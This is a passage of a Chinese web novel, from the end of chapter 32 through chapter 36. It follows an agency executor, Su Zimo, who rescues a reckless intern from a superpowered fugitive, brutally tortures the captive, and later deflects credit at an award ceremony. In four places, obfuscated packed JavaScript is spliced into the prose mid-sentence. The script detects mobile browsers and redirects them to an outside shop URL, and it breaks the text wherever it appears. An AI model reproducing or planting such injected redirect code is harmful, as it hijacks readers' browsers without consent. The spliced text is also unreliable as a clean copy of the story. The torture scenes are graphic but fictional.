舒懿尴尬得想死,于是低头默默平移到了楼道口,“咻”地一声摸走了。 …… 第二天,警方在排查中确认了一个可疑人物。打电话给这个男人时,他似乎正在上班,可核对的行动轨迹却根本不在这个城市。 根据监控显示,这个可疑人物后续进入便利店购买了食物和水,而后似乎走到了市内一个不大的书店。之后便戴上了口罩,一直坐在店内的坐椅上,貌似在休息。 这是难得的机会,但处理局必须暗中疏散一定范围的居民,再在各处布好行动组的成员。 之前负责蹲点的警官报告了情况,确认通缉犯就在书店中。书店的老板在悄无声息之间已然换成了处理局的执行员,店内的顾客面孔也发生了变化。 店后,被分到A组的几名成员正在待命。李哲野看了看共同执行任务的同伴,实在跃跃欲试,又似乎有些疑惑为何还不开始行动,偷偷询问身边的一人: “为什么我们还不进去啊?” 那人没有说话,却往侧后方努了努嘴,李哲野顺着他指的方向伸长脖子望去,突然有了种不详的预感。 嗒,嗒。 脚步声停止了。 穿高领风衣的青年摘下头顶的鸭舌帽,塞到身后的女孩手中,露出深灰的发丝来。那双冰蓝的眼睛轻轻抬起,冷得像化不开的湖。 “好,就按之前的方案行动,一队和我从正门进入,二队守住后门出口,三队留守,随时准备支援。记住,由我先行接触目标,不要擅自行动。舒懿,你去跟三队。” ? 李哲野的心里突然冒出一大股酸胀的愤怒和不甘来。 他…不是B组的吗,来A组干什么?!这明明不合安排!可为什么这些人还要听这家伙的话?!凭什么是他指挥? 王科长分明偷偷在私下告诉他,这次的行动他会是中心的!! 莫非—— 一个让他惊恐无比的可能性在心底膨胀:苏子沫得知自己这次被边缘化后,争取从B组调来了A组要和他争行动地位,故意没让他知道! 旁边的同伴拽了他一把,李哲野才从那一瞬间的冲击中回过神来,双腿机械地跟上队伍,心里那只名为不甘的野兽却愈发凶猛地嘶吼着,脸上的表情克制得近乎扭曲。看着领头的背影,青年在谁都未注意到的暗处狠狠攥紧了拳。 而书店中,一直监视的疑犯有了动作。 戴口罩的男人缓缓从睡眠中醒来,从靠着的沙发椅上坐直了。他把手放在脖颈后松了松骨头,似乎没有注意到气氛的悄然变化。 就在这时,一个声音突然叫住了他。 “先生,您好,您没有买书,不能在这里这么长时间。” 男人站起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385386|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一手搭在肩膀上转了几圈右臂,头也不抬地回道:“…我这就出去。” 然而这声音的主人却突然抬高了声调,显得正气十足,却不知为何有些急迫。随之那手伸到他面前,亮出了处理局的证件: “由于你被确认有存在通缉名单上的嫌疑,请配合调查。” 注意力瞬间收束到此处的二人身上,持武器的执行员立刻将枪口对准了目标,唯有苏子沫别开了头,眼神在这一刹那变得异常冷淡和轻蔑。在即将进入目标视野的那一刻,李哲野从背后越过了他,不管是出于何种理由,违背了安排。 算了。 男人似乎愣了愣,随即点了点头。李哲野松了口气,见对方十分配合,便放下证件,低下头要塞入口袋。 然而对方突然暴起,趁其低头时猛击他的后脑! 小股火焰赫然喷出,点燃了男人的袖子,通缉犯似乎是吃痛后退,追踪的红点瞬间亮起,齐射! 烟尘散去,男人已倒在地上,胸口多了几个血淋淋的弹孔。李哲野甩了甩手,似乎不相信战斗这么容易就结束了。他和身边的一名同伴立刻上前去确认通缉犯的状态,几乎是同步地,苏子沫冷冷的命令到了:“退后!” 他为什么要我退后?李哲野满脑子的莫名其妙,也许是怕地上的疑犯使诈,他还是不情不愿地后退了半步,紧盯着男人的尸体。 然而下一秒,攻击却从同伴的位置袭来,直接按住了他的脸,将其猛地往下一摔。地面瓷砖瞬间开裂,李哲野对此毫无防备,连能力都来不及调动就险些被砸昏过去。同伴和男人的位置不知何时调换了,倒在地上的成了那名同伴,似乎还有些没缓过神来。 “咔嚓”一声,书店的玻璃被甲壳状物质覆盖的右手暴力砸破,男人往嘴中扔了什么东西,掐着青年的脖子从破口一跃而出! “1点钟方向,目标挟持人质破窗。”苏子沫对着对讲机告知,同时追出,“二队做好准备,小心对方有交换位置的能力。” 他眼神始终淡淡,似乎对青年被挟持的现实无动于衷。旁边的人忍不住多看了他几眼,有些疑问苏子沫为何不出手。 来到室外,男人背后猛地展开一对黑色鸟翼,拎着青年腾空而起。十几个红外线的瞄准准星对准了他,但男人立刻将李哲野做挡箭牌横至身前,趁狙击手有一瞬迟疑,迅速升至高处,往目力不可及的远处逃去。 “聪明。知道周围全是埋伏,只有挟持人质尝试天空才是可能的突破口。”苏子沫抬起头,嘴角勾起一抹微不可察的笑,对着对讲机再次发言,“目标已脱离包围圈,特殊情况,请求单独行动。” 他放下对讲机,正要动身,却被同伴焦急的质问打断了:“刚才明明有机会让他就在这里被…” “嘘。” 青年把食指放在嘴边,声音和眼神一样冰冷:“非能力者在这种战斗中只会起到负作用。让这么多人来,就是在给那家伙递人质。何况他自行脱队,就要自己承担后果。” “苏子沫,但你不能看着…!万一出事…” “我心里有数。” 33. 意外 耳边因重击带来的轻微脑震荡而模模糊糊,风声变成了一种错觉。眼前一片漆黑,脖颈处传来令人窒息的力道,李哲野努力想睁开眼,失败了。 一双冰蓝色的、不带丝毫情感的眼睛突然出现在脑海里——李哲野从未这样后悔,为什么没有选择听那家伙的话? 他真的是脑子进水了,把眼前狡诈危险的敌人当成了测试场的对手。怎么办?他还不想死,可根本调动不了体内的能力。青年挣扎着去掰敌人掐住喉咙的铁腕,心脏仿佛炸裂开来,最终还是因缺氧而无力地垂下了双手。 不行,要… 就在这时,隐隐约约地,他居然听见有人在说话。那声音极近,可这分明是百米的高空。 那人似乎说:“您好。” 颈上的力量骤然一松,李哲野如溺水者一般剧烈咳嗽起来,空气的进入让他恢复了些许清明。青年勉强睁开眼睛,感觉自己被人扯住后颈的领子一把提了起来。上方居然是那双零度的冰蓝色眼眸,倒映着自己狼狈不堪的影子。 “和你这种蠢货交流实在浪费时间,够了。看来你没听懂我的意思,那我用你能理解的程度翻译一遍:让你在现场一点用都没有。明白自己究竟几斤几两,这不是在你的象牙塔玩什么过家家,没人惯着你,小朋友。总臆想别人是假想敌,光顾着沉浸在自己那点可笑的得失里,连最基本的服从指挥和责任感都丢掉了。 “还要别人来为你的烂摊子负责…处理局唯一正确的决定就是派了我。” 随后那人松了手,意想中强烈的失重感却并未袭来。周身散发着浅浅的淡蓝色光晕,一股力量托着他缓缓下降。李哲野勉强抬起头,望着天空中的人影渐渐变成两个黑点。 “看来你总是要为弱者负责啊。” 男人看着眼前的青年,表情似乎颇有些玩味。摘下了口罩,线条硬朗的面部随之显露,左边的眉上有一道已经愈合的伤疤。 “没办法。”苏子沫耸耸肩,“其实我不喜欢教训人。” “教训听上去似乎是长辈的词,但在我看来…你也很年轻。” “不是指年龄,而是一种心态。”苏子沫摇了摇手指,“是不是?谢如云…” 就是那么一瞬间,伤疤男的表情骤然扭曲。他的身体仿佛被一股巨力拍中,翅膀被重重折断,流星般坠落在地面上!尘埃猛地炸开,蓝眼睛的青年缓缓下降,一只脚率先点地,而后是另一只。风衣的下摆在空中飞舞,他毫无波澜地接上后面两字。 “…先生。” 大个子的身影从尘埃中浮现,他身上的甲壳状物质正在消散,虽然仍能半跪着,可脸色极差。男人摇摇晃晃地站起,似乎终究是未能忍住,咳出一大口鲜血,染红了面前的土地。 啪、啪、啪。 苏子沫居然在为他鼓掌,微笑着说:“不愧是危险等级三的通缉犯,精彩的表演。不过我没工夫和您再多玩一会了,您就拼尽全力一搏吧。” 谢如云的神色不复轻松,而是变得异常阴沉且凝重。他试探着问:“…你是什么人?处理局分部怎么可能会有你这个年龄达到这种级别的能力者…” “我…?” 青年戏谑地笑了笑。似乎是想到了什么有趣的回答,他起抬头,望着天空。 “危险等级四,苏子沫。” “…开什么玩笑!”男人强忍怒意的声音仿佛岩层下翻滚的岩浆,但他并未就此发起攻击,而是谨慎地保持距离,似乎在评估双方的水准,“危险等级制度分明是处理局用于衡量敌对能力者和怪物的,怎么可能…” 苏子沫没有笑:“也许吧。” “……” 谢如云抹了把嘴角的血迹,脸上的表情渐渐消失了:“你是认真的。” “那你为什么还要为处理局工作?倒不如说,屈居于此…如果和我想的一样,像你这样的强者混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385387|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹在羊群之中,就只会被恐惧和剥削。” 苏子沫的神色微微变了。似乎是若有所思,他低下头,沉默了片刻。男人见自己的话似乎动摇了对方,心中窃喜,忙不迭再次发言: “苏执行官,你保护他们,照顾他们,避免他们遭受怪物和能力者的威胁。可是你保护的人们又做了些什么呢?我第一眼见到你,看到你眼里的东西,就知道你不是那帮被洗脑的死板家伙。弱者的规矩除了限制了善良的强者还起到了什么作用呢?法律和正义无外乎是符合统治集团利益的东西。处理局剥削你这样的强者,法律认可他们的行为。然后呢?可对我这样的人,他们本质上却无计可施,又要来巴巴地要求你。苏执行官,既然遵守法律的强者实际上就是去服从弱者的意志损害自己的利益,那么正义者就会比不正义者的生活状况更糟。然而他们感谢过你吗?人们不感谢你。没有,没有,只有厌恶、忌惮、恐惧和排斥。说到底,能力者和人类,根本不能称之为同一个物种。法律规定了能力者允许与不允许的范畴,规定了什么是罪,可能力者分明比人类更优越,却要去遵守人类的法律。” 见青年始终沉默,谢如云试探着说了句:“苏执行官,如果不正义大到足够程度,那么它就会比正义更有力、更自由、更高明。只要能摆脱法律的限制,那么为不正义的行为便是值得的。这里只有我们,哪怕你最终没有抓获我,这也只是一次普通的任务失败…我会远离这里,再也不出现在苏执行官面前,但如果你需要帮助…” “你说的好像有点道理。” 男人大喜过望,他似乎想要从随身的口袋中掏出纸笔来:“那…” 下一秒,恐怖的蓝眼睛就出现在了眼前。苏子沫那无谓的眼神在几秒钟的时间里变得陌生而致命,仿佛换了个人,无端显出一股毛骨悚然的戾气。 “本想给你痛快,但是……我最恶心你这种人了。现在,我改主意了。” 34. 暴君 居然被那家伙救了…李哲野呆呆地瘫坐在地上,心中没有劫后余生的喜悦,只有那股深深的挫败和懊悔。 苏子沫的那段话还在他心中幽幽回荡,刺得他想要羞愧地蜷缩起来。这个年轻人和他差不多年龄,给人谦和有礼的初印象,然而李哲野却清楚地从他身上读出了那种拒人千里之外的冷漠。说话的声音尽管总是低低的平和,却透着上位者理所当然般的教导、从容和控制意味。 初见时他觉得这个人分明同龄,却恃才傲物,偏要装腔作势、自恃清高,看不起人。他因此感到不平,想要了解对方,压过对方。现在他明白… …那确实是理所当然的。鉴于这个青年惊人的行动力、与年龄不符的才能和心理素质,倒不如说,交他指挥,听他判断,正是他身边同事自然而然的习惯。而任何有所轻视的敌人或者同伴,自然会受到教训。 就像现在的他一样。 “你还好吗?” 耳边忽然传来女孩清澈的声音,唤回了他的魂。舒懿正抱着双臂,靠在一棵树干上歪头看他。眼下的位置似乎是一片城郊的小树林,距离市中心并不算太远。 “…你是和苏子沫一起的那个实习生……” 舒懿面无表情:“拜托,大哥,我有名字的。我叫舒懿,不是什么‘苏子沫的’谁!” “呃…对不起。”李哲野低下头,默默无语。“我很抱歉,这一切。” 舒懿的表情有所松动,她拎起脚边的医药箱走过来。 “他给我发了定位,是让我来照看你伤情的意思。你别被他的话伤太深啊,苏子沫嘛,这人是因为你影响到正事才说重话的,别放在心上。其实前边他也提醒过你了,告诉你不要急于求成,只关注自己,多去想想大局。苏子沫私下对你评价还可以的嘛,你别不信,他认为你是可造之材。” 李哲野默默地听着,安分老实地任凭舒懿检查自己额头上的伤口。听到最后一句话,眼神亮了亮: “…谢谢你。我之前对你们…有些误解,觉得他明明同龄还摆出一副老师的态度,现在想起来真是可笑,要是我当时听进去就好了,他也不会说这些话…不过,你说的…是真的?” “骗你干嘛。”舒懿拿着小手电照了照青年的眼睛,用酒精给伤口消毒,而后做好包扎,“大意是说呢,你天赋很好,人不坏,就是年轻,气盛了些。他被排在B组去出A组的现场,就是要给你兜底,报告上好把功让给你。哼,我是反对的,但他说加给他他反而难办,你也挺优秀的,顺手推一把。” “…我真的挺该死的。” 李哲野的脑袋几乎要耷拉到地上去了。 舒懿料理好了这个沮丧的年轻人,蹲下来,拍拍他的肩膀:“好啦,别太难过。振作起来!你们也不是一条赛道的人,不会碰上的,你是正常人。别和他比,自找不快!况且大佬也不是神,大佬再神,也自有神经的一面。” “…为什么?”李哲野愣住了。 “我也不知道。自行感受吧~” “所以…苏子沫不是…呃,正常人?” “什么…?嘘!别瞎说,别瞎说。”舒懿把食指举到嘴边,做了个“嘘”的动作。而后故作高深地眨眨眼,一蹦三尺外作高人背手式,“不然他又要批我造谣了…简单来说,既要知道苏子沫很厉害,又不要把他当成一个高高在上的图腾,觉得他太厉害。” 她回过头来,向青年伸出手来,笑得一脸张扬恣意。琥珀色眼睛里仿佛烧了一把逼人的金火,嚣张地燃着,生气得近乎可耻了。 “还能站起来吗?走了。” 李哲野几乎怔住了。俄而,他看着女孩的手,拉住了她,笑了起来。 “能!” …… “……” 晕眩,眼前时黑时白。谢如云撑在地面上,偶尔清晰的视野中,滴落在土地上的是自己的鼻血。疼痛咬着全身的骨骼,口腔内疼得像是被掐断了神经一样…… 这也难怪。战斗时那个青年用脚尖慢慢碾断了他的肋骨,一根,两根…还是四根?牙齿又碎了多少颗?那双手像是钳子一样用力地掐住自己的下巴,明明他才是□□强化系的能力者,却在那双读书人般的手面前动弹不得。可怕的压制力,穷尽手段也无法摆脱溺死的恐怖感。只能眼睁睁地看着自己的牙齿被连着碎肉拔出,鲜血迸溅在青年的指间,面前是那双笑眯眯的蓝眼睛。 每拔一颗牙,苏子沫就会反复念一些低低的、听不清楚的话,只有嘴角勾起的弧度异常诡异: “喜欢玩诡辩论主观主义和相对主义的逻辑游戏?哈哈哈,照这么说,我代表的就是名为国家机器的…最大的暴力,合法且正当的暴力!” 一。 “你们这些觉得自我高贵的能力者,从来都没有想过吗?吃的食物从哪里来,穿的衣服又从哪里来…?暴力、暴力,暴力…可暴力产生不了任何事物,也创造不了任何事物,带来的唯有毁灭。” 二。 “摆脱法律的限制?为不正义的行为便是值得的?真是自私…浅短。你们想的只是一时的利益,想的不过别人守法而自己去违反罢了。” 三。 “能力者不是人类…?哈,听了就想笑。不会真觉得有点额外的才能就想要做切割了吧,死都不知道怎么死…” 四…! 血花绽放,触目惊心。 一片狼藉的荒地上,稀疏的枯草没精打采地扒着土地,好像剃了一半的癞痢头。青年站立着,面前的男人终于倒下。谢如云想爬起来,身体却无法动弹。 “当是所谓的强者时是这样一副强权即公理的嘴脸,想当人上人,哈哈哈哈,真以为永远会是人上人?哈哈哈哈哈哈,哈哈哈哈哈哈哈哈!” 在对方恐惧的目光中,苏子沫笑得像个疯子。末了,笑声停止,他弯腰用男人的衣服擦了擦手,而后惋惜地整了整领子。 “抱歉…这件衬衫是新买的,我很喜欢,原本不想在这里就沾血报废掉。嗯,看来失败了。很抱歉,还是没忍住……” 这真的是在战斗吗? 倒像是施虐,一边倒地进行审判和折磨…这家伙,真的是执行员…? “呼…不行,至少对人…再克制些。”苏子沫晃了晃脑袋,自言自语。“差不多了,人是,嗯…是、很脆弱的。保持礼貌,不能欺负人。” 他这一晃,像是把暴戾和危险的部分全从人格中驱逐出去了,整个人又成了温和有礼的五好青年。要不是谢如云正是他活生生的受害者,险些就要有种刚才一切都是假象的错觉。 “您好。”青年右手握成拳,举到嘴边清了清嗓子,居然显得有些微妙的局促和尴尬,“好了,现在请您跟我回去吧。对您的伤害,我很抱歉,不过我也没拔您的门牙,所以都是些战斗可能造成的伤痕类型,这也是难以避免的。我不想再对您的后脑来一击让您晕倒,毕竟您伤的太重了。” “哈,哈哈…”男人用尽全力翻过身来,挤出一个难看的笑,“危险等级四…难怪…你要……放我离开…哈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385388|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起来了…我听过你的名字……能力者道儿上…有个传说……千万注意躲着处理局一个姓苏的小怪物…我早该想起来……哈哈,他们,他们叫你…” “暴君。” 苏子沫听着,眼神暗了暗。他讲究地拍了拍风衣袖子上的褶皱,转而微笑: “我就是个普通执行员,只是稍微强一点罢了,谈不上什么名号。倒是您……是因为您那失败透顶的人生…依靠能力获得了点优越吗?” “你……!” 青年神情冷淡,慢条斯理地说: “唉,要不然说脑子出点问题的人就是蠢呢…毕业前嫉妒原本不如自己的室友抢了自己的名额,偏执地认为对方就是走了后门,在毫无证据的情况下向学校举报未果,干脆认为所有人全是蛇鼠一窝,提着刀去找人家…不仅蹲了几年监狱,还把名校文凭弄丢了,剩个高中学历,结果家里人受不了打击中了风,没过几年就去世了。最终喜提负债累累、四处打工、家破人亡完美三连,有趣的是,打工的地方发现了犯罪记录通通选择了辞退,哼…都是老板的错。三十二岁时觉醒了能力,那颗觉得自己原本应该是人上人的心立马又燃起了希望,结果处理局不要你。一定是政府太可恶,寻思那就反个社会吧,跑去为黑恶势力做了私人打手,不过也是倒霉得很,没过两年就被揪了保护伞,哈,哈哈哈哈,怎么做什么都这么失败啊,哈哈哈哈哈哈…之后开始到处流窜作案…?真是说出来我都觉得好笑,也难怪,你的人生就是个笑话。” 他旋即又笑:“不过呢…这也不能怪你,毕竟小时候出了车祸伤到脑子的人是这样的。” 男人的眼神仿佛要将青年生吞活剥一般,咬牙切齿:“我…要…杀了你……杀了你…” 苏子沫似乎是被男人那模样逗乐了,弯腰探身靠近他,手指摸着下巴。 “说起来,我们还是校友呢,还能叫你一声…学长?哈哈哈,哈哈哈哈哈哈哈哈哈哈哈!没想到吧…?不然我怎么能知道这么详细呢?真是苦我收集那么早的资料了,不过你这表情也回本——” 但青年似乎想起了什么,忽然不笑了。 “嗯…糟糕,又想揍你了…不行,吃不消的,大概会死…哈…不行,不能这样杀人。” 他背对男人蹲下来。谢如云艰难地抬起头,青年的背影被午后明亮的阳光勾勒出温暖的金边,投下冷色调的阴影…… “我的导师,教授…一直对你的事情很难过。他一直记得你,你是他的第一届学生……。其实,他和我说过,你很有才。” 大个子突然愣住,仿佛忘记了仇恨眼前的青年。 “他觉得是自己的责任。如果那个时候发现你的状态不对劲,是不是就能挽救一名未来的栋梁?如果那个时候再多关心学生一点点,是不是就能拯救两个破碎的家庭?如果那个时候叫住你,好好谈谈,是不是就能挽回这个失足的灵魂?他恨啊,恨自己,记了这么多年…我刚到学校的时候,因为工作挤占学习,导师大多不愿意要我,但是教授…却问我是不是很缺钱,想来是受了你的影响。明明我都是个幽灵学生了,他却格外记挂我,对其他学生其实蛮不公平的…哈哈。我真想替他再揍你一遍,不过那样你要死了,就算了吧。我不可怜你,你是咎由自取。我可怜教授,那么大岁数一个老人了,难得挂念的学生怎么都是这种……人。” 他声音极轻,仿佛一片雪花在苍白世界中飘零,落下。正如生命不可承受之轻,两个时代的对话。 “学长。你好好想想吧。” 35. 表彰会 “苏子沫,你明明是法师,怎么老弄得一身血啊?” 舒懿坐在表彰会后排位置的红色布套座椅上,趴在闭目养神的苏子沫耳边,偷偷摸摸问他。 青年换了身程序员式的蓝色条纹格衬衫,正抱着双臂靠在椅背上休息。他又戴起了那副平光的圆框眼镜,显得格外温良,让人完全看不出方才回来那副衣领和侧脸上沾满血液,暗红色的液体沿着袖口滴落的杀人犯模样…… 听到这话,苏子沫的长睫微颤,眼皮懒懒抬起一条缝来:“嗯…问这个干什么?” “你告诉我呗…求你了。我真的好想知道…” “……” 苏子沫脑中迅速来回换了二十次“真话”or“假话”按钮,选择了or: “法师都想近战。” 舒懿似乎是认真思索了一下:“你能力不能防溅血吗?” 敏锐。青年微微勾了一下嘴角,一展即收。 “微操不好,可以,但太麻烦。” 舒懿咬指关节不说话,默认了这个说法。而后,她突然后知后觉地瞪大眼睛:“那你衣服随便丢?” “嗯。” 青年饶有趣味地看着舒懿哀怨的抓狂模样,他听力极好,听得出她在咬指甲碎碎念,诅咒有钱人不得好死。 ——像只啃谷子的小仓鼠。 莫名其妙的想法出现在苏子沫脑中,几乎有些惊吓。他摇了摇头,把这种念头甩出去。似乎是刚好想起了什么,苏子沫顺手也学她的样子凑过去,低声耳语了句,左手半掩着: “做得很好。这次多亏你了,辛苦。” 青年个子很高,弯下一点腰,嘴唇几乎要碰到她的耳朵。苏子沫声音好听,语调低沉温柔,带一点笑意的时候,像是暖暖的小刷子那样扫过人的耳膜……轻轻吐出的呼吸吹得她痒痒的。 舒懿原本漫游的神经一下子绷紧了,后知后觉意识到了这个距离,生出了些莫名的羞和怯来。 他还记得…?! 舒懿CPU干烧了,应激一般迅速埋下头去,双手捂住脸,只留一只眼睛滴溜溜往外看。 好死不死,苏子沫以为她怎么的情绪不对,又往下伏了些:“怎么了?” “…卧槽,苏…苏子沫原来你是深藏不露的高手…” “什么?” “哼…怪硬件,一定是硬件问题…软件纯纯是一坨,不过居然记得,那就是半坨…牢记半坨软件,立刻清醒…”舒懿疯狂点头,恢复了自若的神态,“没啥。知道本大爷的功绩就行,朕允了!” 青年虽然对这些莫名其妙的话有些疑惑,不过见她没事,便继续先前的姿势继续闭目养神了。 …… 表彰会顺利进行着,舒懿听演讲听得有些困,头歪得没地乱放。苏子沫摇不醒她,索性把外套拿过来垫在肩膀上,给她当免费枕头。 算了。这几天她忙上忙下也挺累,让她休息会吧。 青年在心中叹了口气。 表彰会所在的会议厅呈现出一个上宽下窄的倒梯形结构,最下方是木制的舞台,阶梯式的红色靠背椅往上排布,大致分成三个区块。背后的电子大屏正播放着呈现演讲者资料的PPT,负责监控的组长正在上方念稿。 一切都在如常进行,只要等表彰会的主角念完稿件,这场会议就能落下圆满的帷幕。 然而, 意外发生了。 “我今天上台,是有一件重要的事要告诉大家。那就是——” 红发的青年在讲台前站得笔直,目光显得异常坚定。他直截了当地说: “我不能接受这个表彰。” 这一声一石激起千层浪,会场顿时冒出了躁动的小声讨论。王科长的下垂眼顿时猛地瞪圆了,微微起身,似乎想冲上台前赶紧把这个二愣子拉下来;舒懿触电般地惊醒了,从青年肩上直直地弹了起来,下巴根本合不拢。 唯有苏子沫只是缓缓睁开了方才闭目养神的眼,扶额轻笑了声。 “我不应该接受表彰,而是应该进行自我检讨。在本次追捕谢某某通缉犯的行动中,我因个人情绪未服从安排,擅自行动,导致被疑犯劫持并使其脱离包围圈,是苏子沫同志拯救了我的生命,并且抓获了通缉犯。今天站在这里的不应该是我,而是苏子沫同志。我在此做深刻检讨。” 李哲野低下头惭愧地说。随后,他看向会场后方那个青年所在的方向,往右一步,比了个“请”的手势。 “胡闹!” 台下,王科长咬牙切齿地从牙缝里挤出音节,大有把座椅把手捏碎的架势。可眼下他也没有什么办法,这小子吃错了药,根本没有通知他!这种公共场合又不可能把那些事抖到台前… 目光转眼聚焦在苏子沫身上,犹如无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385389|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数灼热的针。青年轻轻笑了一声,站起身来,从容地朝台前走去。 李哲野自觉地把讲台的位置让给他,自己老老实实地双手交叉放在身前,站在一边。 “李哲野同志恐怕是记错了。” 青年的语气是一种不容置疑的温和,语速适中,咬字却很清晰。苏子沫从容地微笑,背后电子屏散发出的红光又奇妙地让那双冰蓝色眼睛蒙上了一层微微的暖意。 “我原本属于B组,不会参与A组的行动,只是刚好在现场。李哲野同志与通缉犯率先交手,给予了许多珍贵情报,并在被劫持之后找机会脱险,值得嘉奖。最终抓获疑犯是整个行动小组共同努力的结果,我在此感谢各位。” 红发青年瞪大了眼睛,想要出声反驳,却发现自己根本张不开嘴,只能发出“唔唔”的微弱声音。 “李哲野同志在实习阶段能够英勇地与通缉犯搏斗,并且最终消耗疑犯的大量体力,坚持至增援赶来。可能是我在增援小组的人员中,给李哲野同志造成了误认。实际我认为,完全应当给予其嘉奖。” 台下响起了响亮的掌声。 …… “你为什么——” 终于来到一间无人的办公室,李哲野感受到身上的桎梏一松,能够自由支配自己的肢体,立马对面前的青年难以置信地发出疑问。 “事情解决了就行。你改正心态就好,不过这功劳让给我并没有什么用处,还会适得其反。不管你信不信,你这样做,反而是我不想看到的结果。” “怎么会…” 苏子沫平静地说:“抱歉,对你使用了能力…但我不想被推上风口浪尖。这本身是处理局内部决定好的事,我也是赞成的。” 他举起一只手往下压,做了个“收声”的手势:“谢谢你。但请不要违背我的意愿,我不想解释太多。以后不来麻烦我,不添乱,对我来说,才是重要的。” 李哲野缩着脖子,似乎很受伤,但倒也不反驳了。只是闷闷地应了句:“…好吧……但是苏哥,你是不是还是讨厌我…真的不能做朋友吗?” “嗯…”青年似乎有些为难,末了,他叹了口气。 李哲野像大狗一样亮起星星眼。 苏子沫又一次抬起头,望着天花板。 “是的,不行。我讨厌要我把话说两遍的人,这样会显得很蠢,就像你一样。” 36. 武器 最近的这几天,相对来说没有那么忙碌了,让舒懿松了口气。 好消息是夏橙小姐给她制作的武器已经到了,造型是一把小巧的白色手枪,外形圆润。除了常驻的手枪.模式,还有需要验证解锁的狙击模式,两个档位分别是麻醉档和实弹档。能够自动生成弹药,但速度非常缓慢,打空之后需要一天左右的时间。如有外界能量注入可以在几秒钟之内快速生成,舒懿在训练场测试过,一梭子两种模式的每个档各自十发。 她有空就会去训练场练习射击,唯一的问题是需要带上苏子沫解决填弹问题。如果他没空,舒懿就偷偷去喊李哲野。 苏子沫调整她的射击动作时,舒懿还有些惊讶,讶异他怎么还会这些。但青年只是微微一笑,表示什么都要会一点,一笔带过了这件事。根据他所说,如果在没有防备的情况下,一发子弹可以应付危险等级二的敌人。 舒懿对这件武器很满意,她觉得指纹解锁功能相当天才。 眼下没有什么要忙的,她有时候会溜去其他组干活。但在经历过后,舒懿还是感觉到了差距……巨大的差距。 在苏子沫这人旁边的时候,总有种莫名的安心感,仿佛这个世界上就没什么他解决不了的问题,兜不下的事——甚至把任务做得像团体旅游。 可他不在… 他不在,没有人能像苏子沫那样游刃有余,战斗中的丝毫松懈都可能万劫不复。那种危机感和紧迫感一下子全都涌了上来,舒懿突然认识到,这不是什么轻松愉快的活动,而是危机四伏的战场—— 而人是会死的。 …… “你怎么最近几天没精打采的?” 舒懿在办公室拿出手机,发送了一条消息。 线条小狗立马回复了一个大哭的表情: 【问能不能和苏哥做朋友,直接被拒绝了!他还说讨厌蠢人,就像我!噩梦缠绕了】 “啊?直接问啊?!这孩子也是傻的。”舒懿叹了口气,“难怪他会得到苏子沫这种回复。” 没办法,哄哄孩子吧。 “你不能直接问啊…总之你别想了,当不成也没关系” 【我知道,但是,舒懿姐(T ^ T),你说我真的很蠢吗?】 “……” 地狱模式啊!原来是把雷搁这里毁我来了!! “你一定要问吗?” 舒懿在沉默数秒之后点击发送。 这回,对方没有秒回。舒懿就把手机放在身旁的桌上,继续看资料……但是过了几分钟,手机立马就发出了“嗡嗡嗡嗡嗡嗡嗡嗡——”的消息提示音。 线条小狗发来了十个大哭表情包: 【我明白了,你们都觉得…现在双倍噩梦缠绕,已经自闭了】 ……这可不能怪我。 “…我说苏子沫,你也是够狗的,说了什么话,害得人家自闭这么多天。”舒懿心虚地关闭手机,开始转移矛盾。 苏子沫头也不抬:“原话还是意思?” “原话。” “我讨厌要我把话说两遍的人,这样会显得很蠢,就像你一样。” ……好狠的话,好毒的心! “啧啧啧啧啧,欠神出手,必一刀真伤加暴击,直取人项上人头。”舒懿怔了两秒,脊背发寒。 “我必须这样说,不然恐怕他听不懂。”苏子沫轻轻叹了口气,把圆框眼镜摘下来,用手掌根部揉了揉眼角。“既然他要追着别人给一个答案,只有足够分量的拒绝才能长记性。对了,在其他组感觉如何,新武器称不称手?你要是现在没什么事,和我去讯问室旁听好了。” 